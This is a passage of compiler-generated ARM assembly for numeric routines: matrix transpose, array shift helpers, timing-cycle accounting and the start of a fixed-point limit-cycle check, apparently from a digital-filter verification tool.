str r3, [fp, #-280]
ldr r3, [fp, #-292]
add r3, r3, #1
str r3, [fp, #-292]
.L447:
ldr r2, [fp, #-292]
ldr r3, [fp, #-308]
cmp r2, r3
blt .L456
.L444:
sub r3, fp, #284
ldmia r3, {r2-r3}
ldr r1, .L460
ldr r0, [r1]
ldr r1, [fp, #-16]
eors r0, r1, r0
mov r1, #0
beq .L458
bl __stack_chk_fail
.L458:
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L461:
.align 2
.L460:
.word .LC27
.word 1072693248
.word -1074790400
.size fxp_determinant, .-fxp_determinant
.align 2
.global transpose
.syntax unified
.arm
.fpu softvfp
.type transpose, %function
transpose:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-12]
b .L463
.L466:
mov r3, #0
str r3, [fp, #-8]
b .L464
.L465:
ldr r3, [fp, #-12]
lsl r3, r3, #5
ldr r2, [fp, #-16]
add r2, r2, r3
ldr r3, [fp, #-8]
lsl r3, r3, #5
ldr r1, [fp, #-20]
add r0, r1, r3
ldr r3, [fp, #-8]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-12]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L464:
ldr r2, [fp, #-8]
ldr r3, [fp, #-28]
cmp r2, r3
blt .L465
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L463:
ldr r2, [fp, #-12]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L466
nop
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size transpose, .-transpose
.align 2
.global fxp_transpose
.syntax unified
.arm
.fpu softvfp
.type fxp_transpose, %function
fxp_transpose:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-12]
b .L468
.L471:
mov r3, #0
str r3, [fp, #-8]
b .L469
.L470:
ldr r3, [fp, #-12]
lsl r3, r3, #4
ldr r2, [fp, #-16]
add r2, r2, r3
ldr r3, [fp, #-8]
lsl r3, r3, #4
ldr r1, [fp, #-20]
add r3, r1, r3
ldr r1, [fp, #-8]
ldr r1, [r2, r1, lsl #2]
ldr r2, [fp, #-12]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L469:
ldr r2, [fp, #-8]
ldr r3, [fp, #-28]
cmp r2, r3
blt .L470
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L468:
ldr r2, [fp, #-12]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L471
nop
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size fxp_transpose, .-fxp_transpose
.align 2
.global generic_timing_shift_l_double
.syntax unified
.arm
.fpu softvfp
.type generic_timing_shift_l_double, %function
generic_timing_shift_l_double:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #36
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, .L476
ldr r3, [r3, #16]
lsl r1, r3, #1
ldr r3, .L476
ldr r2, [r3, #20]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r1, r1, r3
ldr r3, .L476
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L476
ldr r3, [r3, #24]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #28]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #36]
lsl r3, r3, #3
add r2, r2, r3
ldr r3, .L476+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L476+4
str r3, [r2]
ldr r3, [fp, #-32]
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, .L476
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #2
add r2, r3, r2
ldr r3, .L476
ldr r3, [r3, #76]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #36]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #84]
add r2, r2, r3
ldr r3, .L476+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L476+4
str r3, [r2]
ldr r3, .L476
ldr r3, [r3, #36]
lsl r2, r3, #1
ldr r3, .L476
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L476+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L476+4
str r3, [r2]
mov r3, #0
str r3, [fp, #-16]
b .L473
.L474:
ldr r3, .L476
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #4
add r2, r3, r2
ldr r3, .L476
ldr r3, [r3, #52]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #56]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #60]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #64]
lsl r3, r3, #1
add r1, r2, r3
ldr r3, .L476
ldr r2, [r3, #76]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
add r2, r1, r3
ldr r3, .L476
ldr r3, [r3, #68]
lsl r3, r3, #1
add r1, r2, r3
ldr r3, .L476
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
add r2, r1, r3
ldr r3, .L476
ldr r3, [r3, #84]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #116]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #44]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #80]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #92]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #96]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #120]
add r2, r2, r3
ldr r3, .L476+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L476+4
str r3, [r2]
ldr r3, [fp, #-16]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-16]
lsl r2, r2, #3
ldr r1, [fp, #-32]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L473:
ldr r3, [fp, #-36]
sub r3, r3, #1
ldr r2, [fp, #-16]
cmp r2, r3
blt .L474
ldr r3, [fp, #-36]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r1, r2, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, .L476
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
mov r1, r3
ldr r3, .L476
ldr r2, [r3, #76]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
add r1, r1, r3
ldr r3, .L476
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L476
ldr r3, [r3, #52]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #56]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #64]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #60]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #44]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #48]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #116]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #20]
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #28]
add r2, r2, r3
ldr r3, .L476+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L476+4
str r3, [r2]
ldr r3, .L476
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r2, r3, r2
ldr r3, .L476
ldr r3, [r3, #108]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L476
ldr r3, [r3, #112]
add r2, r2, r3
ldr r3, .L476+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L476+4
str r3, [r2]
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L477:
.align 2
.L476:
.word hw
.word generic_timer
.size generic_timing_shift_l_double, .-generic_timing_shift_l_double
.align 2
.global generic_timing_shift_r_double
.syntax unified
.arm
.fpu softvfp
.type generic_timing_shift_r_double, %function
generic_timing_shift_r_double:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #36
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, .L482
ldr r3, [r3, #16]
lsl r1, r3, #1
ldr r3, .L482
ldr r2, [r3, #20]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r1, r1, r3
ldr r3, .L482
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L482
ldr r3, [r3, #24]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #28]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #36]
lsl r3, r3, #3
add r2, r2, r3
ldr r3, .L482+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L482+4
str r3, [r2]
ldr r3, [fp, #-36]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, .L482
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #3
sub r2, r3, r2
ldr r3, .L482
ldr r3, [r3, #56]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #52]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #76]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #36]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #60]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #64]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #84]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #44]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #48]
add r2, r2, r3
ldr r3, .L482+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L482+4
str r3, [r2]
ldr r3, .L482
ldr r2, [r3, #40]
ldr r3, .L482
ldr r3, [r3, #36]
add r3, r2, r3
lsl r2, r3, #1
ldr r3, .L482
ldr r3, [r3, #24]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L482+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L482+4
str r3, [r2]
ldr r3, [fp, #-36]
sub r3, r3, #1
str r3, [fp, #-16]
b .L479
.L480:
ldr r3, [fp, #-16]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-16]
lsl r2, r2, #3
ldr r1, [fp, #-32]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, .L482
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #4
sub r2, r3, r2
ldr r3, .L482
ldr r3, [r3, #52]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #56]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #60]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #64]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #76]
lsl r3, r3, #2
add r1, r2, r3
ldr r3, .L482
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
add r2, r1, r3
ldr r3, .L482
ldr r3, [r3, #44]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #48]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #84]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #116]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #24]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #92]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #96]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #120]
add r2, r2, r3
ldr r3, .L482+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L482+4
str r3, [r2]
ldr r3, [fp, #-16]
sub r3, r3, #1
str r3, [fp, #-16]
.L479:
ldr r3, [fp, #-16]
cmp r3, #0
bgt .L480
ldr r1, [fp, #-32]
sub r3, fp, #28
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, .L482
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
mov r1, r3
ldr r3, .L482
ldr r2, [r3, #76]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
add r1, r1, r3
ldr r3, .L482
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r1, r1, r3
ldr r3, .L482
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L482
ldr r3, [r3, #108]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #112]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #112]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #28]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #20]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #116]
add r2, r2, r3
ldr r3, .L482
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L482+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L482+4
str r3, [r2]
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L483:
.align 2
.L482:
.word hw
.word generic_timer
.size generic_timing_shift_r_double, .-generic_timing_shift_r_double
.align 2
.global shiftL
.syntax unified
.arm
.fpu softvfp
.type shiftL, %function
shiftL:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-20]
ldr r3, [r3]
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-12]
b .L485
.L486:
ldr r3, [fp, #-12]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r2, r2, r3
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r1, [fp, #-20]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L485:
ldr r3, [fp, #-24]
sub r3, r3, #1
ldr r2, [fp, #-12]
cmp r2, r3
blt .L486
ldr r3, [fp, #-24]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r2, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shiftL, .-shiftL
.align 2
.global shiftR
.syntax unified
.arm
.fpu softvfp
.type shiftR, %function
shiftR:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-24]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-8]
ldr r3, [fp, #-24]
sub r3, r3, #1
str r3, [fp, #-12]
b .L489
.L490:
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r2, r2, r3
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r1, [fp, #-20]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-12]
sub r3, r3, #1
str r3, [fp, #-12]
.L489:
ldr r3, [fp, #-12]
cmp r3, #0
bgt .L490
ldr r3, [fp, #-20]
ldr r2, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shiftR, .-shiftR
.align 2
.global shiftLfloat
.syntax unified
.arm
.fpu softvfp
.type shiftLfloat, %function
shiftLfloat:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16] @ float
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-20]
ldr r3, [r3] @ float
str r3, [fp, #-8] @ float
mov r3, #0
str r3, [fp, #-12]
b .L493
.L494:
ldr r3, [fp, #-12]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r2, r2, r3
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r1, [fp, #-20]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L493:
ldr r3, [fp, #-24]
sub r3, r3, #1
ldr r2, [fp, #-12]
cmp r2, r3
blt .L494
ldr r3, [fp, #-24]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r2, [fp, #-16] @ float
str r2, [r3] @ float
ldr r3, [fp, #-8] @ float
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shiftLfloat, .-shiftLfloat
.align 2
.global shiftRfloat
.syntax unified
.arm
.fpu softvfp
.type shiftRfloat, %function
shiftRfloat:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16] @ float
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-24]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-8] @ float
ldr r3, [fp, #-24]
sub r3, r3, #1
str r3, [fp, #-12]
b .L497
.L498:
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r2, r2, r3
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r1, [fp, #-20]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-12]
sub r3, r3, #1
str r3, [fp, #-12]
.L497:
ldr r3, [fp, #-12]
cmp r3, #0
bgt .L498
ldr r3, [fp, #-20]
ldr r2, [fp, #-16] @ float
str r2, [r3] @ float
ldr r3, [fp, #-8] @ float
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shiftRfloat, .-shiftRfloat
.align 2
.global shiftRDdouble
.syntax unified
.arm
.fpu softvfp
.type shiftRDdouble, %function
shiftRDdouble:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #36
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-32]
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-16]
b .L501
.L502:
ldr r3, [fp, #-16]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-16]
lsl r2, r2, #3
ldr r1, [fp, #-32]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L501:
ldr r3, [fp, #-36]
sub r3, r3, #1
ldr r2, [fp, #-16]
cmp r2, r3
blt .L502
ldr r3, [fp, #-36]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r1, r2, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
stm r1, {r2-r3}
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shiftRDdouble, .-shiftRDdouble
.align 2
.global shiftRdouble
.syntax unified
.arm
.fpu softvfp
.type shiftRdouble, %function
shiftRdouble:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #36
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-36]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-36]
sub r3, r3, #1
str r3, [fp, #-16]
b .L505
.L506:
ldr r3, [fp, #-16]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-16]
lsl r2, r2, #3
ldr r1, [fp, #-32]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-16]
sub r3, r3, #1
str r3, [fp, #-16]
.L505:
ldr r3, [fp, #-16]
cmp r3, #0
bgt .L506
ldr r1, [fp, #-32]
sub r3, fp, #28
ldmia r3, {r2-r3}
stm r1, {r2-r3}
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shiftRdouble, .-shiftRdouble
.align 2
.global shiftLDouble
.syntax unified
.arm
.fpu softvfp
.type shiftLDouble, %function
shiftLDouble:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #36
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-32]
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-16]
b .L509
.L510:
ldr r3, [fp, #-16]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-16]
lsl r2, r2, #3
ldr r1, [fp, #-32]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L509:
ldr r3, [fp, #-36]
sub r3, r3, #1
ldr r2, [fp, #-16]
cmp r2, r3
blt .L510
ldr r3, [fp, #-36]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r1, r2, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
stm r1, {r2-r3}
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shiftLDouble, .-shiftLDouble
.align 2
.global shiftLboth
.syntax unified
.arm
.fpu softvfp
.type shiftLboth, %function
shiftLboth:
@ args = 4, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #36
str r0, [fp, #-24] @ float
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-36]
ldr r3, [r3]
str r3, [fp, #-12]
ldr r3, [fp, #-28]
ldr r3, [r3] @ float
str r3, [fp, #-8] @ float
mov r3, #0
str r3, [fp, #-16]
b .L513
.L514:
ldr r3, [fp, #-16]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r2, r2, r3
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r1, [fp, #-36]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-16]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-28]
add r2, r2, r3
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r1, [fp, #-28]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L513:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-16]
cmp r2, r3
blt .L514
ldr r3, [fp, #4]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r2, [fp, #-32]
str r2, [r3]
ldr r3, [fp, #4]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-28]
add r3, r2, r3
ldr r2, [fp, #-24] @ float
str r2, [r3] @ float
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shiftLboth, .-shiftLboth
.align 2
.global shiftRboth
.syntax unified
.arm
.fpu softvfp
.type shiftRboth, %function
shiftRboth:
@ args = 4, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #36
str r0, [fp, #-24] @ float
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #4]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-12]
ldr r3, [fp, #4]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-28]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-8] @ float
ldr r3, [fp, #4]
sub r3, r3, #1
str r3, [fp, #-16]
b .L516
.L517:
ldr r3, [fp, #-16]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r2, r2, r3
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r1, [fp, #-36]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-16]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-28]
add r2, r2, r3
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r1, [fp, #-28]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-16]
sub r3, r3, #1
str r3, [fp, #-16]
.L516:
ldr r3, [fp, #-16]
cmp r3, #0
bgt .L517
ldr r3, [fp, #-36]
ldr r2, [fp, #-32]
str r2, [r3]
ldr r3, [fp, #-28]
ldr r2, [fp, #-24] @ float
str r2, [r3] @ float
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shiftRboth, .-shiftRboth
.align 2
.global order
.syntax unified
.arm
.fpu softvfp
.type order, %function
order:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r2, [fp, #-8]
ldr r3, [fp, #-12]
cmp r2, r3
ble .L519
ldr r3, [fp, #-8]
sub r3, r3, #1
b .L521
.L519:
ldr r3, [fp, #-12]
sub r3, r3, #1
.L521:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size order, .-order
.align 2
.global fxp_check_limit_cycle
.syntax unified
.arm
.fpu softvfp
.type fxp_check_limit_cycle, %function
fxp_check_limit_cycle:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-32]
str r1, [fp, #-36]
ldr r3, [fp, #-36]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-28]
mov r3, #1
